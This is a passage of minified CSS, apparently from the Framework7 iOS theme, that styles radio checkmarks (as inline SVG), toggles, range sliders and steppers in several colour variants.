input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-blue .radio input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios .color-theme-pink .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-pink label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-pink label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-pink .radio input[type=radio]:checked~.icon-radio{border-color:#ff2d55}.ios .color-theme-yellow .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-yellow label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-yellow label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-yellow .radio input[type=radio]:checked~.icon-radio{border-color:#fc0}.ios .color-theme-orange .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-orange label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-orange label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-orange .radio input[type=radio]:checked~.icon-radio{border-color:#ff9500}.ios .color-theme-gray .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-gray label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-gray label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-gray .radio input[type=radio]:checked~.icon-radio{border-color:#8e8e93}.ios .color-theme-white .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-white label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-white label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-white .radio input[type=radio]:checked~.icon-radio{border-color:#fff}.ios .color-theme-black .radio input[type=radio]:checked~.icon-radio,.ios .color-theme-black label.item-radio input[type=radio]:checked~* .icon-radio,.ios .color-theme-black label.item-radio input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .color-theme-black .radio input[type=radio]:checked~.icon-radio{border-color:#000}.ios .radio.color-red input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-red input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-red input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff3b30'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-red input[type=radio]:checked~.icon-radio{border-color:#ff3b30}.ios .radio.color-green input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-green input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-green input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%234cd964'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-green input[type=radio]:checked~.icon-radio{border-color:#4cd964}.ios .radio.color-blue input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-blue input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-blue input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23007aff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-blue input[type=radio]:checked~.icon-radio{border-color:#007aff}.ios .radio.color-pink input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-pink input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-pink input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff2d55'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-pink input[type=radio]:checked~.icon-radio{border-color:#ff2d55}.ios .radio.color-yellow input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-yellow input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-yellow input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffcc00'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-yellow input[type=radio]:checked~.icon-radio{border-color:#fc0}.ios .radio.color-orange input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-orange input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-orange input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ff9500'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-orange input[type=radio]:checked~.icon-radio{border-color:#ff9500}.ios .radio.color-gray input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-gray input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-gray input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%238e8e93'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-gray input[type=radio]:checked~.icon-radio{border-color:#8e8e93}.ios .radio.color-white input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-white input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-white input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23ffffff'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-white input[type=radio]:checked~.icon-radio{border-color:#fff}.ios .radio.color-black input[type=radio]:checked~.icon-radio,.ios label.item-radio.color-black input[type=radio]:checked~* .icon-radio,.ios label.item-radio.color-black input[type=radio]:checked~.icon-radio{background-image:url("data:image/svg+xml;charset=utf-8,%3Csvg%20xmlns%3D'http%3A%2F%2Fwww.w3.org%2F2000%2Fsvg'%20viewBox%3D'0%200%2013%2010'%3E%3Cpolygon%20fill%3D'%23000000'%20points%3D'11.6%2C0%204.4%2C7.2%201.4%2C4.2%200%2C5.6%204.4%2C10%204.4%2C10%204.4%2C10%2013%2C1.4%20'%2F%3E%3C%2Fsvg%3E")}.ios .radio.color-black input[type=radio]:checked~.icon-radio{border-color:#000}.toggle{display:inline-block;vertical-align:middle;position:relative;-webkit-box-sizing:border-box;box-sizing:border-box;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.toggle input[type=checkbox]{display:none}.toggle input[disabled]~.toggle-icon{pointer-events:none}.toggle-icon{z-index:0;margin:0;padding:0;-webkit-appearance:none;-moz-appearance:none;appearance:none;border:none;position:relative;-webkit-transition:.3s;transition:.3s;-webkit-box-sizing:border-box;box-sizing:border-box;display:block;cursor:pointer}.toggle-icon:after,.toggle-icon:before{content:''}.toggle-icon:after{background:#fff;position:absolute;z-index:2;-webkit-transform:translateX(0);transform:translateX(0);-webkit-transition-duration:.3s;transition-duration:.3s}.ios .toggle{width:52px;border-radius:16px;height:32px}.ios .toggle input[type=checkbox]:checked+.toggle-icon{background:#4cd964}.ios .toggle input[type=checkbox]:checked+.toggle-icon:before{-webkit-transform:scale(0);transform:scale(0)}.ios .toggle input[type=checkbox]:checked+.toggle-icon:after{-webkit-transform:translateX(20px);transform:translateX(20px)}.ios .toggle-icon{width:52px;border-radius:16px;height:32px;background:#e5e5e5}.ios .toggle-icon:before{position:absolute;left:2px;top:2px;width:48px;height:28px;border-radius:16px;-webkit-box-sizing:border-box;box-sizing:border-box;background:#fff;z-index:1;-webkit-transition-duration:.3s;transition-duration:.3s;-webkit-transform:scale(1);transform:scale(1)}.ios .toggle-icon:after{height:28px;width:28px;top:2px;left:2px;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.3);box-shadow:0 2px 4px rgba(0,0,0,.3);border-radius:14px}.ios .toggle-active-state input[type=checkbox]:not(:checked)+.toggle-icon:before{-webkit-transform:scale(0);transform:scale(0)}.ios .toggle-active-state input[type=checkbox]+.toggle-icon:after{width:35px}.ios .toggle-active-state input[type=checkbox]:checked+.toggle-icon:after{width:35px;-webkit-transform:translateX(13px);transform:translateX(13px)}.ios .theme-dark .toggle-icon{background-color:#fff}.ios .theme-dark .toggle-icon:before{background-color:#1c1c1d}.ios .toggle.color-red input[type=checkbox]:checked+.toggle-icon{background-color:#ff3b30}.ios .toggle.color-green input[type=checkbox]:checked+.toggle-icon{background-color:#4cd964}.ios .toggle.color-blue input[type=checkbox]:checked+.toggle-icon{background-color:#007aff}.ios .toggle.color-pink input[type=checkbox]:checked+.toggle-icon{background-color:#ff2d55}.ios .toggle.color-yellow input[type=checkbox]:checked+.toggle-icon{background-color:#fc0}.ios .toggle.color-orange input[type=checkbox]:checked+.toggle-icon{background-color:#ff9500}.ios .toggle.color-gray input[type=checkbox]:checked+.toggle-icon{background-color:#8e8e93}.ios .toggle.color-white input[type=checkbox]:checked+.toggle-icon{background-color:#fff}.ios .toggle.color-black input[type=checkbox]:checked+.toggle-icon{background-color:#000}.range-slider{display:block;width:100%;position:relative;-webkit-align-self:center;-ms-flex-item-align:center;align-self:center;cursor:pointer;-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.range-slider input[type=range]{display:none}.range-bar{position:absolute;left:0;top:50%;width:100%;overflow:hidden}.range-bar-active{position:absolute;left:0;top:0;height:100%}.range-knob-wrap{z-index:20;position:absolute;top:50%;left:0}.range-knob{-webkit-box-sizing:border-box;box-sizing:border-box;border-radius:50%;position:absolute;left:0;top:0;width:100%;height:100%;z-index:1}.range-knob:after{content:'';position:absolute;left:50%;top:50%;width:44px;height:44px;margin-left:-22px;margin-top:-22px}.range-knob-label{position:absolute;left:50%;bottom:100%;text-align:center;-webkit-transition-duration:120ms;transition-duration:120ms;-webkit-transition-property:-webkit-transform;transition-property:-webkit-transform;transition-property:transform;transition-property:transform,-webkit-transform;-webkit-transform:translateY(100%) scale(0);transform:translateY(100%) scale(0)}.range-knob-active-state .range-knob-label{-webkit-transform:translateY(0) scale(1);transform:translateY(0) scale(1)}.ios .range-slider{height:28px}.ios .range-bar{background:#b7b8b7;border-radius:2px;height:1px}.ios .range-bar-active{background:#007aff}.ios .range-knob-wrap{height:28px;width:28px;margin-top:-14px;margin-left:-14px}.ios .range-knob{background:#fff;-webkit-box-shadow:0 2px 4px rgba(0,0,0,.3);box-shadow:0 2px 4px rgba(0,0,0,.3)}.ios .range-knob-label{min-width:20px;height:20px;line-height:20px;background:#fff;border-radius:5px;color:#000;font-size:12px;margin-bottom:6px;-webkit-transform:translateX(-50%) translateY(100%) scale(0);transform:translateX(-50%) translateY(100%) scale(0)}.ios .range-knob-active-state .range-knob-label{-webkit-transform:translateX(-50%) translateY(0) scale(1);transform:translateX(-50%) translateY(0) scale(1)}.ios .color-theme-red .range-slider .range-bar-active{background-color:#ff3b30}.ios .color-theme-green .range-slider .range-bar-active{background-color:#4cd964}.ios .color-theme-blue .range-slider .range-bar-active{background-color:#007aff}.ios .color-theme-pink .range-slider .range-bar-active{background-color:#ff2d55}.ios .color-theme-yellow .range-slider .range-bar-active{background-color:#fc0}.ios .color-theme-orange .range-slider .range-bar-active{background-color:#ff9500}.ios .color-theme-gray .range-slider .range-bar-active{background-color:#8e8e93}.ios .color-theme-white .range-slider .range-bar-active{background-color:#fff}.ios .color-theme-black .range-slider .range-bar-active{background-color:#000}.ios .range-slider.color-red .range-bar-active{background-color:#ff3b30}.ios .range-slider.color-green .range-bar-active{background-color:#4cd964}.ios .range-slider.color-blue .range-bar-active{background-color:#007aff}.ios .range-slider.color-pink .range-bar-active{background-color:#ff2d55}.ios .range-slider.color-yellow .range-bar-active{background-color:#fc0}.ios .range-slider.color-orange .range-bar-active{background-color:#ff9500}.ios .range-slider.color-gray .range-bar-active{background-color:#8e8e93}.ios .range-slider.color-white .range-bar-active{background-color:#fff}.ios .range-slider.color-black .range-bar-active{background-color:#000}.stepper{display:-webkit-inline-box;display:-webkit-inline-flex;display:-ms-inline-flexbox;display:inline-flex;-webkit-box-align:stretch;-webkit-align-items:stretch;-ms-flex-align:stretch;align-items:stretch}.stepper-button,.stepper-button-minus,.stepper-button-plus{text-align:center;display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-flex-shrink:0;-ms-flex-negative:0;flex-shrink:0;-webkit-box-sizing:border-box;box-sizing:border-box;position:relative;cursor:pointer}.stepper-button .icon,.stepper-button-minus .icon,.stepper-button-plus .icon{pointer-events:none}.stepper-value{display:-webkit-box;display:-webkit-flex;display:-ms-flexbox;display:flex;-webkit-align-content:center;-ms-flex-line-pack:center;align-content:center;-webkit-box-align:center;-webkit-align-items:center;-ms-flex-align:center;align-items:center;-webkit-box-pack:center;-webkit-justify-content:center;-ms-flex-pack:center;justify-content:center}.stepper-input-wrap,.stepper-value{-webkit-flex-shrink:1;-ms-flex-negative:1;flex-shrink:1;text-align:center}.stepper-button-minus,.stepper-button-plus{-webkit-user-select:none;-moz-user-select:none;-ms-user-select:none;user-select:none}.stepper-button-minus:after,.stepper-button-minus:before,.stepper-button-plus:after,.stepper-button-plus:before{content:'';position:absolute;left:50%;top:50%;-webkit-transform:translate(-50%,-50%);transform:translate(-50%,-50%)}.stepper-button-minus:after,.stepper-button-plus:after{width:15px;height:2px}.stepper-button-plus:before{height:15px;width:2px}.stepper .stepper-input-wrap input,.stepper .stepper-value{width:45px}.ios .stepper{height:29px}.ios .stepper-button,.ios .stepper-button-minus,.ios .stepper-button-plus{border:1px solid #007aff;color:#007aff;border-radius:5px;line-height:27px;height:29px;width:40px}.ios .stepper-button .f7-icons,.ios .stepper-button-minus .f7-icons,.ios .stepper-button-plus .f7-icons{font-size:22px}.ios .stepper-button-minus:first-child,.ios .stepper-button-plus:first-child,.ios .stepper-button:first-child{border-radius:5px 0 0 5px}.ios .stepper-button-minus:last-child,.ios .stepper-button-plus:last-child,.ios .stepper-button:last-child{border-radius:0 5px 5px 0}.ios .stepper-button-minus.active-state,.ios .stepper-button-plus.active-state,.ios .stepper-button.active-state{background:rgba(0,122,255,.15)}.ios .stepper-button+.stepper-button,.ios .stepper-button+.stepper-button-minus,.ios .stepper-button+.stepper-button-plus,.ios .stepper-button-minus+.stepper-button,.ios .stepper-button-minus+.stepper-button-minus,.ios .stepper-button-minus+.stepper-button-plus,.ios .stepper-button-plus+.stepper-button,.ios .stepper-button-plus+.stepper-button-minus,.ios .stepper-button-plus+.stepper-button-plus{border-left:none}.ios .stepper-button-minus:after,.ios .stepper-button-minus:before,.ios .stepper-button-plus:after,.ios .stepper-button-plus:before{background:#007aff}.ios .stepper-input-wrap,.ios .stepper-value{border-top:1px solid #007aff;border-bottom:1px solid #007aff}.ios .stepper .stepper-value{color:#007aff;font-size:17px}.ios .stepper .stepper-input-wrap input{height:100%;text-align:center;color:#007aff;font-size:17px}.ios .stepper-fill .stepper-button,.ios .stepper-fill .stepper-button-minus,.ios .stepper-fill .stepper-button-plus,.ios .stepper-fill-ios .stepper-button,.ios .stepper-fill-ios .stepper-button-minus,.ios .stepper-fill-ios .stepper-button-plus{color:#fff;background:#007aff}.ios .stepper-fill .stepper-button-minus.active-state,.ios .stepper-fill .stepper-button-plus.active-state,.ios .stepper-fill .stepper-button.active-state,.ios .stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-fill-ios .stepper-button.active-state{opacity:.8}.ios .stepper-fill .stepper-button-minus:after,.ios .stepper-fill .stepper-button-minus:before,.ios .stepper-fill .stepper-button-plus:after,.ios .stepper-fill .stepper-button-plus:before,.ios .stepper-fill-ios .stepper-button-minus:after,.ios .stepper-fill-ios .stepper-button-minus:before,.ios .stepper-fill-ios .stepper-button-plus:after,.ios .stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .stepper-fill .stepper-button+.stepper-button,.ios .stepper-fill .stepper-button-minus+.stepper-button-plus,.ios .stepper-fill-ios .stepper-button+.stepper-button,.ios .stepper-fill-ios .stepper-button-minus+.stepper-button-plus{border-left:1px solid rgba(0,0,0,.1)}.ios .stepper-round .stepper-button-minus:first-child,.ios .stepper-round .stepper-button-plus:first-child,.ios .stepper-round .stepper-button:first-child,.ios .stepper-round-ios .stepper-button-minus:first-child,.ios .stepper-round-ios .stepper-button-plus:first-child,.ios .stepper-round-ios .stepper-button:first-child{border-radius:29px 0 0 29px}.ios .stepper-round .stepper-button-minus:last-child,.ios .stepper-round .stepper-button-plus:last-child,.ios .stepper-round .stepper-button:last-child,.ios .stepper-round-ios .stepper-button-minus:last-child,.ios .stepper-round-ios .stepper-button-plus:last-child,.ios .stepper-round-ios .stepper-button:last-child{border-radius:0 29px 29px 0}.ios .stepper-small,.ios .stepper-small-ios{height:26px}.ios .stepper-small .stepper-input-wrap,.ios .stepper-small .stepper-value,.ios .stepper-small-ios .stepper-input-wrap,.ios .stepper-small-ios .stepper-value{border-top-width:2px;border-bottom-width:2px}.ios .stepper-small .stepper-button,.ios .stepper-small .stepper-button-minus,.ios .stepper-small .stepper-button-plus,.ios .stepper-small-ios .stepper-button,.ios .stepper-small-ios .stepper-button-minus,.ios .stepper-small-ios .stepper-button-plus{height:26px;-webkit-transition-duration:.2s;transition-duration:.2s;line-height:22px;border-width:2px}.ios .stepper-small .stepper-button .f7-icons,.ios .stepper-small .stepper-button-minus .f7-icons,.ios .stepper-small .stepper-button-plus .f7-icons,.ios .stepper-small-ios .stepper-button .f7-icons,.ios .stepper-small-ios .stepper-button-minus .f7-icons,.ios .stepper-small-ios .stepper-button-plus .f7-icons{font-size:18px}.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-small-ios.stepper-fill-ios .stepper-button.active-state,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .stepper-small.stepper-fill .stepper-button.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state,.ios .stepper-small.stepper-fill-ios .stepper-button.active-state{color:#007aff;border-color:#007aff;background-color:transparent;opacity:1}.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:after,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-minus.active-state:before,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:after,.ios .stepper-small-ios.stepper-fill-ios .stepper-button-plus.active-state:before,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .stepper-small.stepper-fill .stepper-button-plus.active-state:before,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:after,.ios .stepper-small.stepper-fill-ios .stepper-button-minus.active-state:before,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:after,.ios .stepper-small.stepper-fill-ios .stepper-button-plus.active-state:before{background-color:#007aff}.ios .stepper-big,.ios .stepper-big-ios{height:44px}.ios .stepper-big .stepper-button,.ios .stepper-big .stepper-button-minus,.ios .stepper-big .stepper-button-plus,.ios .stepper-big-ios .stepper-button,.ios .stepper-big-ios .stepper-button-minus,.ios .stepper-big-ios .stepper-button-plus{height:44px;line-height:42px}.ios .color-theme-red .stepper .stepper-button,.ios .color-theme-red .stepper .stepper-button-minus,.ios .color-theme-red .stepper .stepper-button-plus{border-color:#ff3b30;color:#ff3b30}.ios .color-theme-red .stepper .stepper-button-minus.active-state,.ios .color-theme-red .stepper .stepper-button-plus.active-state,.ios .color-theme-red .stepper .stepper-button.active-state{background-color:rgba(255,59,48,.15)}.ios .color-theme-red .stepper .stepper-button-minus:after,.ios .color-theme-red .stepper .stepper-button-minus:before,.ios .color-theme-red .stepper .stepper-button-plus:after,.ios .color-theme-red .stepper .stepper-button-plus:before{background-color:#ff3b30}.ios .color-theme-red .stepper .stepper-input-wrap,.ios .color-theme-red .stepper .stepper-value{border-top-color:#ff3b30;border-bottom-color:#ff3b30}.ios .color-theme-red .stepper .stepper-value{color:#ff3b30}.ios .color-theme-red .stepper .stepper-input-wrap input{color:#ff3b30}.ios .color-theme-red .stepper.stepper-fill .stepper-button,.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus{background-color:#ff3b30}.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-red .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-red .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-red .stepper.stepper-fill-ios .stepper-button-plus:before{background-color:#fff}.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button.active-state{color:#ff3b30;border-color:#ff3b30;background-color:transparent}.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-red .stepper.stepper-small-ios.stepper-fill .stepper-button-plus.active-state:before,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:after,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-minus.active-state:before,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:after,.ios .color-theme-red .stepper.stepper-small.stepper-fill .stepper-button-plus.active-state:before{background-color:#ff3b30}.ios .color-theme-green .stepper .stepper-button,.ios .color-theme-green .stepper .stepper-button-minus,.ios .color-theme-green .stepper .stepper-button-plus{border-color:#4cd964;color:#4cd964}.ios .color-theme-green .stepper .stepper-button-minus.active-state,.ios .color-theme-green .stepper .stepper-button-plus.active-state,.ios .color-theme-green .stepper .stepper-button.active-state{background-color:rgba(76,217,100,.15)}.ios .color-theme-green .stepper .stepper-button-minus:after,.ios .color-theme-green .stepper .stepper-button-minus:before,.ios .color-theme-green .stepper .stepper-button-plus:after,.ios .color-theme-green .stepper .stepper-button-plus:before{background-color:#4cd964}.ios .color-theme-green .stepper .stepper-input-wrap,.ios .color-theme-green .stepper .stepper-value{border-top-color:#4cd964;border-bottom-color:#4cd964}.ios .color-theme-green .stepper .stepper-value{color:#4cd964}.ios .color-theme-green .stepper .stepper-input-wrap input{color:#4cd964}.ios .color-theme-green .stepper.stepper-fill .stepper-button,.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus{background-color:#4cd964}.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:after,.ios .color-theme-green .stepper.stepper-fill .stepper-button-minus:before,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:after,.ios .color-theme-green .stepper.stepper-fill .stepper-button-plus:before,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:after,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-minus:before,.ios .color-theme-green .stepper.stepper-fill-ios .stepper-button-plus:after,.ios .color-theme-green 